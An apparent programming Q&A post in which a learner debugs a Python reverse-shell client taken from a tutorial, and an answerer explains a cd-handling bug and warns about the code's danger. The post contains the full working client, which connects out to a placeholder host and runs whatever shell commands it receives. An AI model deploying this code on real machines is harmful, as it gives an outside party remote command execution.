Code gives Change directory error but still changes directory
<pre><code>import os
import socket
import subprocess
s = socket.socket()
host = '&lt;my-ip&gt;'
port = 9999
s.connect((host, port))
while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if len(data) &gt; 0:
        cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        outputBytes = cmd.stdout.read() + cmd .stderr.read()
        outputStr = str(outputBytes, "utf-8")
        s.send(str.encode(outputStr + str(os.getcwd() + '&gt; ')))
        print (outputStr)

# Close connection
s.close()
</code></pre>

<p>I am trying to create a remote client-server app using python by going throught thenewboston's turorial for python reverse shell.</p>

<p>The above is the code for client.py. The thing is all the commands are working fine. When I use</p>

<p>cd "Directory Name With Space"</p>

<p>it gives me this error "The System Cannot Find The Path Specified". But it still changes the directory. I am not sure why it still changes the directory even after giving an error?</p>

<p>There are two <code>if</code>s here:</p>

<pre><code>if data[:2].decode("utf-8") == 'cd':
    os.chdir(data[3:].decode("utf-8"))
if len(data) &gt; 0:
    cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
                           stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                           stdin=subprocess.PIPE)
</code></pre>

<ul>
<li><p>If a command starts with 'cd', the first block is executed (because it starts with 'cd').</p></li>
<li><p>If a command starts with 'cd', the second block is also executed (because it has length > 0).</p></li>
</ul>

<p>The first block changes the directory even if it has spaces. The second block does not.</p>

<p>You want to use <code>elif</code> to prevent both blocks from executing:</p>

<pre><code>if data[:2].decode("utf-8") == 'cd':
    os.chdir(data[3:].decode("utf-8"))
elif len(data) &gt; 0:
    cmd = subprocess.Popen(...
</code></pre>

<p>BTW, there are other problems with this code:</p>

<ul>
<li><p><code>'cdefgh'</code> will change directory to <code>'fgh'</code></p></li>
<li><p><code>'cd      abc'</code> will try to change directory to <code>'     abc'</code> and probably fail</p></li>
<li><p>if <code>Popen</code> is used for anything but <code>cd</code>, I don't see why it would not be used for <code>cd</code> as well</p></li>
<li><p>exposing such interface in a server is a bigger security hole than any virus can hope to create - if you are doing this just to learn, burn the code as soon as you are done ;)</p></li>
</ul>

python python-3.x